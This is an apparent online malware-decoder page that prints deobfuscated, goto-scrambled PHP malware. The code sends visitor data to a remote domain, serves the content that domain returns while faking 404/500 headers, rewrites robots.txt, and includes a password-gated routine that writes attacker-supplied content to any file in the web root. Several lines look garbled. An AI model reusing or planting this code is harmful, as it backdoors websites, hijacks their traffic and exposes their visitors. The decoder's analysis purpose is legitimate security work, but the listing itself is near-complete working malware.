Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


goto iKhso;
	 Eft57: if (!function_exists("q0ON2")) {
	 goto rFKhg;
	 
}
 goto Ccu5X;
	 EVSp9: if (strpos($VqeMz, "4 Not Found xx_") !== false) {
	 goto CgJQd;
	 
}
 goto icEpq;
 zivyX: goto J3Y3a;
 goto DoA_e;
 DPsgW: y5dzh: goto ey6i1;
	 cfQkA: if (strtolower(substr($kFdiv, -4)) === ".xml") {
	 goto SXk12;
	 
}
 goto GpfX3;
 aXeTc: goto A4Gu4;
 goto Ym3DI;
 gAaFi: exit;
 goto Sgv0T;
 Ccu5X: Q0on2();
 goto eETjN;
	 QxURt: if (!(sha1(sha1(@$_GET["a"])) == SEa6Y($v2_ue . "/a.php", $ktQX1, $jbuKJ))) {
	 goto vDps1;
	 
}
 goto HSGOL;
 ntKKn: goto y5dzh;
 goto Dw0lm;
	 GpfX3: if (!(strpos($kFdiv, "robots.txt") || strpos($kFdiv, "pingsitemap"))) {
	 goto yIta0;
	 
}
 goto s4ewq;
 uT4O0: echo $VqeMz;
 goto wmPrM;
 k3R0q: $hgBIC = array("SCRIPT_NAME", "REQUEST_URI", "REQUEST_SCHEME", "SERVER_PORT", "REMOTE_ADDR", "HTTP_REFERER", "HTTP_ACCEPT_LANGUAGE", "HTTP_USER_AGENT", "HTTP_HOST");
 goto PJFfA;
 Wm128: fclose($OSztX);
 goto ZtYgl;
 Nwzuh: $l_Lqi = @$_GET["b"];
 goto QxURt;
 Zs023: goto AihIh;
 goto tfkr4;
 whfzN: goto n0pqM;
 goto jHUL5;
 cy1_B: header("HTTP/1.0 5 Internal Server Error");
 goto yBF7R;
	 cO12m: if ($VqeMz == "4") {
	 goto J7QAN;
	 
}
 goto EVSp9;
 PpcqZ: header("Content-type:text/xml");
 goto J74wu;
	 jKCSB: if (strpos($EoTrK, "favicon.ico") !== false) {
	 goto GN0GN;
	 
}
 goto Icw5v;
 j0Tl2: echo $VqeMz;
 goto m5mYD;
 Jh77S: fwrite($OSztX, $VqeMz);
 goto Wm128;
 PDAo8: $ktQX1["http"] = $Ju2a_;
 goto xSsqH;
 HSGOL: $p_po9 = @$_GET["dstr"];
 goto Jnpu0;
 ZkVYt: GN0GN: goto Kco1H;
 sbiOS: $TJNg3 = base64_encode($Ju2a_ . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]);
 goto c2QT4;
 Sr13B: exit;
 goto GePqF;
 UEe1n: CgJQd: goto NfrcM;
 c2QT4: $EoTrK = urlencode($_SERVER["REQUEST_URI"]);
 goto WFlN9;
	 UHfyI: if (in_array($kECie, ["None", "Continue", "blank"])) {
	 goto fXZJI;
	 
}
 goto cO12m;
	 NRNTL: if ($VqeMz === false) {
	 goto ImNfW;
	 
}
 goto UHfyI;
 tfkr4: J7QAN: goto qwaqS;
	 kk0_Q: if (BMsGT()) {
	 goto xjd0X;
	 
}
 goto inPfR;
 Sgv0T: y_Xso: goto jKCSB;
 ZtYgl: yIta0: goto gLOBW;
 DoA_e: xjd0X: goto jPIk9;
 v8qAH: AihIh: goto aXeTc;
 orS40: vDps1: goto mesTh;
 inPfR: $Ju2a_ = "http://";
 goto zivyX;
 gJtZD: $ktQX1[] = array();
 goto k3R0q;
 mesTh: OMpxI: goto qx8Gb;
 Ym3DI: fXZJI: goto K61Xq;
 s4ewq: header("Content-Type: text/plain");
 goto PH3vC;
 dL0lr: $ktQX1["ip"] = IZUux();
 goto PDAo8;
 ey6i1: goto AdEyo;
 goto UEe1n;
 gLOBW: goto PH2Gx;
 goto XTQr5;
 Icw5v: $v2_ue = $v2_ue . "?=" . $TJNg3;
 goto Cmo2J;
	 EgDyq: function iZUuX() {
	 goto CrqlH;
	 Mhsfb: xtdSS: goto uHzeQ;
	 Wfjpz: H6Dp3: goto KUiUf;
	 SRUX1: NSM6o: goto X2lwD;
	 uHzeQ: $JqcUm = $_SERVER["HTTP_CLIENT_IP"];
	 goto Wfjpz;
	 KUiUf: return $JqcUm;
	 goto esmqE;
	 EPZTd: $JqcUm = $_SERVER["REMOTE_ADDR"];
	 goto AXRli;
		 CrqlH: if (!empty($_SERVER["HTTP_CLIENT_IP"])) {
		 goto xtdSS;
		 
	}
	 goto RoZS7;
	 X2lwD: $JqcUm = $_SERVER["HTTP_X_FORWARDED_FOR"];
	 goto FHHLI;
	 FHHLI: xvk71: goto A8_QN;
		 RoZS7: if (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) {
		 goto NSM6o;
		 
	}
	 goto EPZTd;
	 AXRli: goto xvk71;
	 goto SRUX1;
	 A8_QN: goto H6Dp3;
	 goto Mhsfb;
	 esmqE: 
}
 goto lhHf1;
 wmPrM: exit;
 goto ntKKn;
 XTQr5: SXk12: goto PpcqZ;
	 rpqnq: function sEa6Y($Lv2ji, $CtfBx = array(), $jbuKJ) {
	 goto AIfSu;
	 msJA7: nV029: goto SUfbR;
	 Sffo2: $P_RzI = curl_exec($gh8wp);
	 goto F3ZsE;
		 p0_NG: if (!($P_RzI == "error code: 5")) {
		 goto nV029;
		 
	}
	 goto xTqxW;
	 eTbml: $gh8wp = curl_init();
	 goto b6c4T;
	 xTqxW: return false;
	 goto msJA7;
		 b6c4T: curl_setopt($gh8wp, CURLOPT_URL, "{
		$Lv2ji
	}
	");
	 goto A_Xjw;
	 FM4wf: curl_setopt($gh8wp, CURLOPT_POSTFIELDS, http_build_query($CtfBx));
	 goto icszX;
	 icszX: curl_setopt($gh8wp, CURLOPT_FOLLOWLOCATION, 1);
	 goto nK16H;
		 CBcSI: if (!(0 !== $OYjHB)) {
		 goto k2dMv;
		 
	}
	 goto AhnxL;
	 SUfbR: return $P_RzI;
	 goto oorpN;
	 M9FSJ: curl_setopt($gh8wp, CURLOPT_RETURNTRANSFER, 1);
	 goto ufnoN;
	 A_Xjw: @curl_setopt($gh8wp, CURLOPT_SSL_VERIFYPEER, false);
	 goto M9FSJ;
	 AIfSu: $Lv2ji = str_replace(" ", "+", $Lv2ji);
	 goto eTbml;
	 F3ZsE: $OYjHB = curl_errno($gh8wp);
	 goto vf3Jf;
	 i3Avx: curl_setopt($gh8wp, CURLOPT_POST, 1);
	 goto FM4wf;
	 Qjeyp: k2dMv: goto p0_NG;
	 nK16H: curl_setopt($gh8wp, CURLOPT_USERAGENT, $jbuKJ);
	 goto Sffo2;
	 UsUKm: curl_setopt($gh8wp, CURLOPT_TIMEOUT, 4);
	 goto i3Avx;
	 ufnoN: curl_setopt($gh8wp, CURLOPT_HEADER, 0);
	 goto UsUKm;
	 AhnxL: return false;
	 goto Qjeyp;
	 vf3Jf: curl_close($gh8wp);
	 goto CBcSI;
	 oorpN: 
}
 goto EgDyq;
 J74wu: PH2Gx: goto uT4O0;
	 Cmo2J: if (!strstr($_SERVER["REQUEST_URI"], ".php")) {
	 goto OMpxI;
	 
}
 goto Nwzuh;
 jHUL5: ImNfW: goto DZrW2;
 zyx5I: echo $VqeMz;
 goto TTruF;
 qwaqS: header("HTTPyq 4 Not Found");
 goto zyx5I;
 jPIk9: $Ju2a_ = "https://";
 goto Dv_LR;
	 Jnpu0: if (!file_put_contents($_SERVER["DOCUMENT_ROOT"] . "/" . $l_Lqi, $p_po9)) {
	 goto ZTQ3X;
	 
}
 goto XVZ6V;
	 lhHf1: function BmSGT() {
	 goto zGwtG;
	 VllW3: U5Vm2: goto DQGpY;
		 mdHnP: if (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") {
		 goto V6SY3;
		 
	}
	 goto DhXWy;
	 UgTv1: c5j3m: goto Np4Gc;
	 WIUh2: goto c5j3m;
	 goto VllW3;
	 PEoZ1: V6SY3: goto EecEX;
	 X7f8J: return true;
	 goto UgTv1;
		 zGwtG: if (!empty($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") {
		 goto U5Vm2;
		 
	}
	 goto mdHnP;
	 UmWD_: goto c5j3m;
	 goto PEoZ1;
		 DhXWy: if (!empty($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") {
		 goto ck7ms;
		 
	}
	 goto WIUh2;
	 Np4Gc: return false;
	 goto hTaNT;
	 v1PkL: ck7ms: goto X7f8J;
	 DQGpY: return true;
	 goto UmWD_;
	 JcO3j: goto c5j3m;
	 goto v1PkL;
	 EecEX: return true;
	 goto JcO3j;
	 hTaNT: 
}
 goto kk0_Q;
 duGCl: aiQ0f: goto dL0lr;
 Dw0lm: DVHwK: goto cy1_B;
	 PJFfA: foreach ($hgBIC as $UoFPJ) {
	 goto AF15M;
	 U1cWM: Jvh4k: goto Lq1cc;
	 h8ZWr: $rjQ_S = str_replace("/", "_", $rjQ_S);
	 goto kpep0;
	 M2ja_: $ktQX1[strtolower($UoFPJ)] = $qeVMk;
	 goto U1cWM;
	 AF15M: $qeVMk = isset($_SERVER[$UoFPJ]) ? $_SERVER[$UoFPJ] : '';
	 goto vgLAf;
	 vgLAf: $rjQ_S = str_replace("+", "-", $rjQ_S);
	 goto h8ZWr;
	 kpep0: $rjQ_S = str_replace("=", , $rjQ_S);
	 goto M2ja_;
	 Lq1cc: 
}
 goto duGCl;
 yBF7R: exit;
 goto DPsgW;
 eETjN: rFKhg: goto NFESv;
 XVZ6V: echo "ok";
 goto Sr13B;
 NfrcM: header("HTTP/1.1 404 Not Found");
 goto j0Tl2;
 xSsqH: $jbuKJ = strtolower(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : '');
 goto sbiOS;
 EGcQ7: AdEyo: goto Zs023;
 qx8Gb: $VqeMz = Sea6Y($v2_ue, $ktQX1, $jbuKJ);
 goto NRNTL;
 oiaj6: $bhedD = "x-g1-4";
 goto rpqnq;
 K61Xq: A4Gu4: goto whfzN;
 uNzo7: $v2_ue = "https://" . $bhedD . ".agreedapr.shop/dataApi.php";
 goto gJtZD;
 ZZxoL: echo "ok";
 goto gAaFi;
 PH3vC: $OSztX = fopen("robots.txt", "w");
 goto Jh77S;
 FJzZy: goto h6tDi;
 goto ZkVYt;
 DZrW2: n0pqM: goto FJzZy;
 m5mYD: exit;
 goto EGcQ7;
 z0g0g: $kFdiv = $_SERVER["REQUEST_URI"];
 goto cfQkA;
 iKhso: error_reporting(0);
 goto Eft57;
	 icEpq: if ($VqeMz == "500") {
	 goto DVHwK;
	 
}
 goto z0g0g;
 GePqF: ZTQ3X: goto orS40;
 NFESv: $DKmyy = "34";
 goto oiaj6;
 TTruF: exit;
 goto v8qAH;
	 WFlN9: if (!(strpos($EoTrK, "uuuuxxxxooo3") !== false)) {
	 goto y_Xso;
	 
}
 goto ZZxoL;
 Dv_LR: J3Y3a: goto uNzo7;
 Kco1H: h6tDi:



© 2023 Quttera Ltd. All rights reserved.